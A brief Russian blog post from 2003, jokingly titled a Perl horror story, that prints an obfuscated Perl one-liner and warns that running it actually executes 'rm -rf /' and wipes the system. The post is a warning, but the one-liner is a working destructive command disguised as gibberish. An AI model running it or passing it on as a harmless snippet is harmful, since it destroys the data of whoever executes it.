Страшилка на Perl

Отличный язык Perl: cat "test...test...test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Если уже где-нибудь встречали, надеюсь не запустили. :) В итоге запустит "rm -rf /"
26 сентября 2003 17:23

Ваше имя или адрес блога (можно OpenID):

Текст вашего комментария, не HTML: